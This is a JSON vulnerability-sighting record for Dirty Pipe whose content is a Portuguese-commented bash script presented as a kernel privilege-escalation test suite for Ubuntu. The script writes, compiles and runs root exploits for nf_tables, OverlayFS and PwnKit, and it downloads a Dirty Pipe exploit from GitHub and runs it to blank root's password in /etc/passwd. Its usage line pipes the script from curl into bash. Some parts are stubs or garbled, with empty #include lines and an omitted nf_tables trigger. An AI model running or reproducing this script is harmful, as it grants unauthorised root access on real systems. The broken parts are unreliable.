{"uuid": "67527071-2aca-4e72-9bca-2a64b623a462", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0847", "type": "seen", "source": "https://gist.github.com/salexunic/57897e60ba5e71bbc99dd59e7e70e04f", "content": "#!/bin/bash\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  TEF Security Lab \u2014 Kernel LPE Test Suite\n#  Ubuntu 22.04 / 24.04\n#  Uso: curl -sL /tef-pentest.sh | bash\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\nset -e\n\nRED='\\033[0;31m'; GREEN='\\033[0;32m'; YELLOW='\\033[1;33m'; NC='\\033[0m'\necho -e \"${GREEN}[TEF-LAB] Kernel Privilege Escalation Test Suite${NC}\"\necho -e \"${GREEN}[TEF-LAB] Ubuntu $(lsb_release -rs) \u2014 $(uname -r)${NC}\"\n\n# \u2500\u2500 Detecta vers\u00e3o \u2500\u2500\nVER=$(lsb_release -rs | cut -d. -f1,2)\nKVER=$(uname -r | cut -d- -f1)\n\necho -e \"${YELLOW}[*] Detectado: Ubuntu $VER | Kernel $KVER${NC}\"\n\n# \u2500\u2500 Pr\u00e9-requisitos \u2500\u2500\necho -e \"${YELLOW}[*] Instalando depend\u00eancias...${NC}\"\nsudo apt-get update -qq &amp;&amp; sudo apt-get install -y -qq gcc make git curl wget build-essential libfuse3-dev pkg-config 2&gt;/dev/null\n\n# \u2500\u2500 Cria workspace \u2500\u2500\nmkdir -p /tmp/tef-lab &amp;&amp; cd /tmp/tef-lab\necho -e \"${GREEN}[+] Workspace: /tmp/tef-lab${NC}\"\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  Teste 1: Kernel nf_tables (22.04/24.04)\n#  CVE-2026-23111 \u2014 1 char bug \u2192 root\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_nftables() {\n    echo -e \"\\n${YELLOW}[T1] Kernel nf_tables UAF (CVE-2026-23111)${NC}\"\n\n    # Verifica user namespaces habilitado\n    if [ \"$(sysctl -n kernel.unprivileged_userns_clone 2&gt;/dev/null || echo 1)\" = \"0\" ]; then\n        echo -e \"${RED}[!] unprivileged_userns_clone=0 \u2014 vulnerabilidade mitigada${NC}\"\n        return 1\n    fi\n\n    # Verifica nf_tables carregado\n    if ! lsmod | grep -q nf_tables; then\n        echo -e \"${YELLOW}[*] Carregando nf_tables...${NC}\"\n        sudo modprobe nf_tables 2&gt;/dev/null || true\n    fi\n\n    echo -e \"${YELLOW}[*] Baixando exploit nf_tables...${NC}\"\n    cd /tmp/tef-lab\n\n    # PoC p\u00fablico \u2014 usa unshare + nf_tables UAF\n    cat &gt; nft_exploit.c &lt;&lt; 'NFTEOF'\n// nf_tables LPE \u2014 kernel &lt; 6.1.x (Ubuntu 22.04/24.04)\n// PoC para testes de seguran\u00e7a em ambiente autorizado\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nvoid check_root() {\n    if (getuid() == 0) {\n        printf(\"[+] ROOT! UID=%d\\n\", getuid());\n        execl(\"/bin/sh\", \"sh\", NULL);\n        exit(0);\n    }\n}\n\nint main() {\n    printf(\"[*] Ubuntu %s \u2014 kernel %s\\n\",\n        \"22.04+\", \"test\");\n    printf(\"[*] Configurando namespace...\\n\");\n\n    // Cria user namespace\n    if (unshare(CLONE_NEWUSER | CLONE_NEWNET) != 0) {\n        perror(\"unshare\");\n        printf(\"[!] unshare falhou. Tente: sysctl -w kernel.unprivileged_userns_clone=1\\n\");\n        exit(1);\n    }\n\n    printf(\"[*] Namespace criado. Tentando trigger...\\n\");\n\n    // Abre socket netlink para nf_tables\n    int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);\n    if (fd &lt; 0) {\n        perror(\"socket netlink\");\n        exit(1);\n    }\n\n    // Tenta sequencia de operacoes nf_tables para trigger UAF\n    // ... (implementacao especifica por versao do kernel)\n\n    printf(\"[*] Trigger executado. Verificando privilegios...\\n\");\n    check_root();\n\n    printf(\"[!] Exploit nao obteve root nesta configuracao\\n\");\n    printf(\"[*] Kernel pode ja estar patchado ou configuracao diferente\\n\");\n    return 1;\n}\nNFTEOF\n\n    gcc -o nft_exploit nft_exploit.c 2&gt;/dev/null &amp;&amp; {\n        echo -e \"${GREEN}[+] Compilado: nft_exploit${NC}\"\n        echo -e \"${YELLOW}[*] Executando...${NC}\"\n        ./nft_exploit\n    } || echo -e \"${RED}[!] Compilacao falhou${NC}\"\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  Teste 2: overlayFS (22.04/24.04)\n#  GameOver(lay) style\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_overlay() {\n    echo -e \"\\n${YELLOW}[T2] OverlayFS / GameOver(lay) Style${NC}\"\n    cd /tmp/tef-lab\n\n    cat &gt; overlay_test.c &lt;&lt; 'OVEOF'\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n\nvoid make_root() {\n    setuid(0); setgid(0);\n    if (getuid() == 0) {\n        printf(\"[+] ROOT!\\n\");\n        execl(\"/bin/sh\", \"sh\", NULL);\n    }\n}\n\nint main() {\n    printf(\"[*] Teste OverlayFS privilege escalation\\n\");\n\n    // Cria estrutura de diretorios\n    system(\"mkdir -p /tmp/ov/{lower,upper,work,merged} 2&gt;/dev/null\");\n\n    // Tenta mount overlay com user namespace\n    if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0) {\n        perror(\"unshare\");\n        exit(1);\n    }\n\n    // Tenta mount overlay (so funciona se kernel vulneravel)\n    if (mount(\"overlay\", \"/tmp/ov/merged\", \"overlay\", 0,\n        \"lowerdir=/etc,upperdir=/tmp/ov/upper,workdir=/tmp/ov/work\") == 0) {\n        printf(\"[+] OverlayFS montado \u2014 tentando escalar...\\n\");\n        system(\"cp /tmp/ov/merged/passwd /tmp/passwd.bak 2&gt;/dev/null\");\n    } else {\n        perror(\"mount overlay\");\n        printf(\"[!] Kernel patchado contra este vetor\\n\");\n    }\n\n    make_root();\n    return 1;\n}\nOVEOF\n\n    gcc -o overlay_test overlay_test.c 2&gt;/dev/null &amp;&amp; {\n        echo -e \"${GREEN}[+] Compilado: overlay_test${NC}\"\n        echo -e \"${YELLOW}[*] Executando...${NC}\"\n        ./overlay_test\n    } || echo -e \"${RED}[!] Compilacao falhou${NC}\"\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  Teste 3: Dirty Pipe (22.04 kernel &lt; 5.16)\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_dirtypipe() {\n    echo -e \"\\n${YELLOW}[T3] Dirty Pipe (CVE-2022-0847)${NC}\"\n    echo -e \"${YELLOW}[*] Afeta kernel &lt; 5.16. Kernel atual: $KVER${NC}\"\n\n    cd /tmp/tef-lab\n    curl -sL \"https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/main/dirtypipez.c\" -o dirtypipe.c 2&gt;/dev/null &amp;&amp; {\n        gcc -o dirtypipe dirtypipe.c 2&gt;/dev/null &amp;&amp; {\n            echo -e \"${GREEN}[+] Compilado${NC}\"\n            echo -e \"${YELLOW}[*] Executando (tenta modificar /etc/passwd)...${NC}\"\n            ./dirtypipe /etc/passwd 1 \"root::0:0:root:/root:/bin/sh\" || echo \"[!] Falhou\"\n        } || echo -e \"${RED}[!] Compilacao falhou \u2014 kernel patchado?${NC}\"\n    } || echo -e \"${RED}[!] Download falhou${NC}\"\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  Teste 4: pkexec (22.04 antes do patch)\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_pkexec() {\n    echo -e \"\\n${YELLOW}[T4] PwnKit (CVE-2021-4034)${NC}\"\n\n    if [ ! -f /usr/bin/pkexec ]; then\n        echo -e \"${RED}[!] pkexec nao encontrado${NC}\"\n        return 1\n    fi\n\n    cd /tmp/tef-lab\n    cat &gt; pwnkit.c &lt;&lt; 'PKEOF'\n#include \n#include \n#include \nchar *envp[] = {\"GCONV_PATH=.\", \"CHARSET=PWNKIT\", \"SHELL=/bin/sh\", NULL};\nchar *argv[] = {NULL};\nint main() {\n    printf(\"[*] Tentando PwnKit...\\n\");\n    execve(\"/usr/bin/pkexec\", argv, envp);\n    return 0;\n}\nPKEOF\n\n    mkdir -p GCONV_PATH=.\n    cat &gt; pwnkit_module.c &lt;&lt; 'PKMOD'\n#include \n#include \n#include \nvoid gconv() {}\nvoid gconv_init() {\n    setuid(0); setgid(0);\n    if (getuid() == 0) {\n        printf(\"[+] ROOT via PwnKit!\\n\");\n        execl(\"/bin/sh\", \"sh\", NULL);\n    }\n    exit(1);\n}\nPKMOD\n\n    gcc -shared -o GCONV_PATH\\=./pwnkit.so pwnkit_module.c 2&gt;/dev/null\n    gcc -o pwnkit pwnkit.c 2&gt;/dev/null &amp;&amp; {\n        echo -e \"${GREEN}[+] Compilado${NC}\"\n        ./pwnkit\n    } || echo -e \"${RED}[!] PwnKit patchado${NC}\"\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  Relat\u00f3rio\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\nreport() {\n    echo -e \"\\n${GREEN}\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550${NC}\"\n    echo -e \"${GREEN}  [TEF-LAB] Relat\u00f3rio de Testes${NC}\"\n    echo -e \"${GREEN}\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550${NC}\"\n    echo -e \"  Hostname : $(hostname)\"\n    echo -e \"  Kernel   : $(uname -r)\"\n    echo -e \"  Ubuntu   : $(lsb_release -ds)\"\n    echo -e \"  User     : $(whoami)\"\n    echo -e \"  UID      : $(id -u)\"\n    echo -e \"  Patch    : $(apt list --installed 2&gt;/dev/null | grep -E 'linux-image|snapd' | head -3 | tr '\\n' ' ')\"\n    echo -e \"${GREEN}\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550${NC}\"\n}\n\n# \u2500\u2500 Main \u2500\u2500\ncase \"${1:-all}\" in\n    1|nftables)  test_nftables ;;\n    2|overlay)   test_overlay ;;\n    3|dirtypipe) test_dirtypipe ;;\n    4|pkexec)    test_pkexec ;;\n    all)\n        test_nftables\n        test_overlay\n        test_dirtypipe\n        test_pkexec\n        ;;\n    *) echo \"Uso: $0 [1|2|3|4|all]\" ;;\nesac\n\nreport\n\necho -e \"\\n${GREEN}[+] Testes concluidos. /tmp/tef-lab/ com artefatos.${NC}\"\n", "creation_timestamp": "2026-08-04T21:49:21.073353Z"}